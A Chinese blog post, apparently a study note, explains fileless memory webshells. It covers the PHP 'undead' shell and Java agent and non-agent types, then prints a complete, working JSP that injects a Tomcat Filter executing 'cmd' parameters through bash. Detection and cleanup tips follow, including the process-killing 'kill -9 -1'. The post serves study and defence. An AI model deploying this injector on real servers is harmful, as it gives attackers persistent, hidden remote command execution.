内存马学习(一)


前言

此次学习仅为内存马的初步认识,尤其是java内存马还需更深入研究

内存马概述

Webshell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。黑客通常利用常见的漏洞,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。

常见的webshell有php、asp、aspx、jsp、jspx等。而无文件webshell,在早期的攻防演练中可以有效的躲避传统安全软件和设备的检查,主要以在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马。

PHP不死马

PHP内存马简述

PHP内存马也叫不死马,其主要原理是删除自身然后以进程的形式循环创建隐蔽的webshell,在AWD的比赛中用的较为广泛。以一个网上广为流传的版本为例分析。

代码分析

image-20220312230321878

其中ignore_user_abort(true)函数设置与客户机断开也会继续执行脚本,set_time_limit(0)使时间不受限制,通过unlink(FILE)函数删除自身文件,然后从第五行代码开始定义webshell并在后面无限循环生成其中usleep(5000)函数用来定义间隔时间。

查杀方法

1、不死马是加载在内存中的攻击方式,因此如果条件允许的话重启服务器是最有效快捷的解决方法。

2、Kill -9 -1 命令可以杀死当前用户权限下服务器上所有的进程

3、写一个ignore_user_abort(true)函数的PHP脚本,并写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果。

JAVA 内存攻击

与PHP内存马实现有所不同,java类型的内存马简要原理是内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码。

JAVA内存马类型

主流的内存马攻击可分为以下两个大类

1、Agent型:利用instrument机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。

2、非Agent型:通过新增一些Java web组件(如Servlet、Filter、Listener、Controller等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。

Tomcat filter内存马的实现

Filter即过滤器,其作用是对web资源进行过滤拦截,在处理后交给下一个过滤器或者servlet处理。Filter的生命周期会经历初始化(init)、拦截(dofilter)、销毁(destroy)的过程。

根据filter的特性我们使用网上流传的的jsp文件加载内存马

<%@ page import=”org.apache.catalina.core.ApplicationContext” %>

<%@ page import=”java.lang.reflect.Field” %>

<%@ page import=”org.apache.catalina.core.StandardContext” %>

<%@ page import=”java.util.Map” %>

<%@ page import=”java.io.IOException” %>

<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterDef” %>

<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterMap” %>

<%@ page import=”java.lang.reflect.Constructor” %>

<%@ page import=”org.apache.catalina.core.ApplicationFilterConfig” %>

<%@ page import=”org.apache.catalina.Context” %>

<%@ page language=”java” contentType=”text/html; charset=UTF-8” pageEncoding=”UTF-8”%>

<%

final String name = “fengxuan”;

ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField(“context”);

appctx.setAccessible(true);

ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField(“context”);

stdctx.setAccessible(true);

StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField(“filterConfigs”);

Configs.setAccessible(true);

Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){

Filter filter = new Filter() {

@Override

public void init(FilterConfig filterConfig) throws ServletException {

}

@Override

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

//这里写上我们后门的主要代码

HttpServletRequest req = (HttpServletRequest) servletRequest;

if (req.getParameter(“cmd”) != null){

byte[] bytes = new byte[1024];

Process process = new ProcessBuilder(“bash”,”-c”,req.getParameter(“cmd”)).start();

int len = process.getInputStream().read(bytes);

servletResponse.getWriter().write(new String(bytes,0,len));

process.destroy();

return;

}

//别忘记带这个,不然的话其他的过滤器可能无法使用

filterChain.doFilter(servletRequest,servletResponse);

}

@Override

public void destroy() {

}

};

FilterDef filterDef = new FilterDef();

filterDef.setFilter(filter);

filterDef.setFilterName(name);

filterDef.setFilterClass(filter.getClass().getName());

// 将filterDef添加到filterDefs中

standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();

//拦截的路由规则,/* 表示拦截任意路由

filterMap.addURLPattern(“/*”);

filterMap.setFilterName(name);

filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);

constructor.setAccessible(true);

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);

out.print(“注入成功”);

}

%>

img

观察可访问任何servlet路由均可实现命令执行

img

查杀方法

因为内存马是加载在内存中无文件的webshell,因此无法直接通过扫描静态文件的方式扫出内存马,当我们发现内存马的存在的时候可能是攻击者造成了实际的危害。因此排查内存的思路大部分都是建立在通过痕迹来排查。

1、排查可疑的jsp访问记录

2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

3、根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

4、如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

5、如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200


文章作者: jokerscar
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 jokerscar !
  目录